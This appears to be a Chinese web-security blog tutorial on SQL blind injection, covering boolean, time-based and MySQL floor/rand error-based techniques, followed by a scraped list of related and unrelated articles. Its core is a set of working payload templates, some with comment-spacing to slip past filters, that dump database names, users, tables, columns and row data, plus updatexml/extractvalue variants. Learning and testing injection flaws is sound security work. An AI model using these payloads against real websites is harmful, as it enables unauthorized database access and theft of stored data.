一、SQL盲注:

看不到回显的,无法从返回直接读取到数据库内容的对数据的猜解,属于盲注。

二、第一种--基于布尔类型的盲注:

这种很简单,最典型的例子,就是挖SQL注入的时候常用的:

 '''
http://www.localhost.com/sqlinjection?id=1'%20and%20'1'='1
http://www.localhost.com/sqlinjection?id=1'%20and%20'1'='2
'''

实战时。前面一个判断是永真的时候,拼接一个判断,例如【substring(database(),1,1)='a'】

 """
例如id=1,有正常回显
那么:
id = 1 and substring(database(),1,1)='a'
如果后面对了,就有返回,不对就没有,从而一个一个爆出来
"""

三、第二种--基于时间类型的盲注:

 """
select * from tablename where id='103' and if(substring(database(),1,1)='a',sleep(5),null)';
"""

这里如果猜解第一个字符成功,会sleep 5s 否则不会【if(expr1,result1,result2)#如果expr1成立 result1 否则 result2】

以上两种详细请参见:

WEB安全第四篇--与数据库的亲密接触:SQL注入攻击

四、第三种--特殊的错误注入(本次的重点):

0、这里的报错是指

1、floor报错的

(1)公式:

 """
?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (核心语句) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+
"""

(2)原理:

引用自reber的博客https://www.jianshu.com/p/8c2343705100

 """
floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(*)是用来统计结果的,相当于刷新一次结果
group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入,存在的话count(*)加1
在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次,导致会使主键中存在重复-->报错
"""

五、payload-->爆破数据的语句:

1、database信息

#database count
' and(select 1 from(select+count(*),concat((select (select (select+concat(0x7e7e3a7e7e, count(distinct table_schema),0x7e7e3a7e7e) from information_schema.tables)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+#database name
' and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e7e3a7e7e, table_schema, 0x7e7e3a7e7e) from information_schema.tables limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

2、current DB信息

 #current-database-name
'+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e7e3a7e7e,/**/(select/**/database()),/**/0x7e7e3a7e7e)))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+
#current

3、current USER信息

 #current USER
'+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e7e3a7e7e,/**/(select/**/user()),/**/0x7e7e3a7e7e)))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+
#current

4、table 信息

 #table count
'+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(/**/select/**/concat(0x7e7e3a7e7e,/**/count(table_name),/**/0x7e7e3a7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=%s))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+
#table name
'+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(/**/select/**/concat(0x7e7e3a7e7e,/**/table_name,/**/0x7e7e3a7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=%s/**/limit/**/%d,1))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+

5、column 信息

 #column num
'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,count(column_name),0x7e7e3a7e7e) from information_schema.columns where table_name=%s and table_schema=%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
#column name
'+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,column_name,0x7e7e3a7e7e) from information_schema.columns where table_name=%s and table_schema=%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

6、数据

 #data
'+and(select 1 from(select count(*),concat((select (select ( select concat(%s) from %s.%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

7、补充:仅针对32位有效的:

?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+

六、参考文献:

http://wyb0.com/posts/injection-of-error-based/

WEB安全番外第四篇--关于SQL盲注的更多相关文章

  1. WEB安全番外第三篇--关于XXE

    一.什么是XXE 1.XML实体简介 (1)在一段时间中,XML都是WEB信息传输的主要方法,时至今日XML在WEB中作为前后台之间传递数据的结构,依然发挥着重要的作用.在XML中有一种结构叫做实体: ...

  2. WEB安全番外第六篇--关于通过记录渗透工具的Payload来总结和学习测试用例

    背景: 在WEB安全的学习过程中,了解过了原理之后,就是学习各种Payload,这里面蕴藏着丰富的知识含量,是在基本上覆盖了漏洞原理之后的进一步深入学习的必经之路.无理是Burpsuite还是Sqlm ...

  3. WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF

    一.通配符简介: 一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符. 举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf: ...

  4. WEB安全实战(一)SQL盲注

    前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...

  5. Web系统常见安全漏洞及解决方案-SQL盲注

    关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...

  6. WEB安全番外第二篇--明日之星介绍HTML5安全问题介绍

    一.CORS领域问题: 1.CORS的介绍请参考:跨域资源共享简介 2.HTML5中的XHR2级调用可以打开一个socket连接,发送HTTP请求,有趣的是,上传文件这里恰恰是multi-part/f ...

  7. WEB安全番外第一篇--其他所谓的“非主流”漏洞:URL跳转漏洞与参数污染

    一.URL跳转篇: 1.原理:先来看这段代码: <?php if(isset($_GET["url_redircetion_target"])){ $url_redirect ...

  8. Python 项目实践三(Web应用程序)第四篇

    接着上节继续学习,本章将建立用户账户 Web应用程序的核心是让任何用户都能够注册账户并能够使用它,不管用户身处何方.在本章中,你将创建一些表单,让用户能够添加主题和条目,以及编辑既有的条目.你还将学习 ...

  9. .net core番外第2篇:Autofac的3种依赖注入方式(构造函数注入、属性注入和方法注入),以及在过滤器里面实现依赖注入

    本篇文章接前一篇,建议可以先看前篇文章,再看本文,会有更好的效果. 前一篇跳转链接:https://www.cnblogs.com/weskynet/p/15046999.html 正文: Autof ...

随机推荐

  1. firefox浏览器批处理插件imacros

    http://www.360doc.com/content/14/1012/19/4360822_416372016.shtml javascript部分 var code = "CODE: ...

  2. 利用国内的源安装 Python第三方库

    我们需要安装一些Python的第三方库,但是使用  pip install + 第三方库  的时候,会出现下载速度慢的问题,当然我们也可以使用国内的源安装. 例如: sudo pip install ...

  3. spring in action 5.1 小结 spring mvc起步

    0 配置 DispatcherServlet 是 spring mvc的核心,常规配置方法可以查看之前博客.springMVC简单例子 在此使用servlet 3 规范和 spring3.1 功能增强 ...

  4. 使用Sigar获取服务器信息

    Sigar简介 Sigar是Hyperic-hq产品的基础包,是Hyperic HQ主要的数据收集组件.它用来从许多平台收集系统和处理信息. 这些平台包括:Linux, Windows, Solari ...

  5. Atitit.线程 死锁 跑飞 的检测与自动解除 与手动解除死锁 java c# .net php javascript.

    Atitit.线程 死锁 跑飞 的检测与自动解除 与手动解除死锁 java c# .net php javascript. 1. 现象::主程序卡住无反应,多行任务不往下执行 1 2. 原因::使用j ...

  6. 中兴ZXV10 B860AV1.1 全TTL操作完美破解

    本文转自:http://www.znds.com/tv-496624-1-1.html 1)前期准备工作 1.1 拆开盒子,TTL接线,这个论坛里有好多其它帖子,就不再详细描述. 1.2 复制需要安装 ...

  7. linux 技巧:使用 screen 管理你的远程会话(短时间内同时开启多个会话)

    screen -S zyj 开启一个会话窗口 会进入这个页面 然后按  Ctrl+a,再按一下d  退出 然后输入 screen -r -d zyj 会从新进入这个页面 如果你的工作完成就直接输入 关 ...

  8. 一款基于jQuery和HTML5全屏焦点图

    今天爱编程小编给大家分享一款非常绚丽的jQuery焦点图插件,同时这款焦点图也利用了HTML5和CSS3的相关特性,使图片切换效果更加丰富多彩.另外,这款jQuery焦点图插件的特点是全屏的效果,因此 ...

  9. LT和ET模式

    #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include &l ...

  10. C/C++中printf和C++中cout的输出格式

    一. Printf 输出格式 C中格式字符串的一般形式为: %[标志][输出最小宽度][.精度][长度]类型,其中方括号[]中的项为可选项.各项的意义介绍如下:1.类型类型字符用以表示输出数据的类型, ...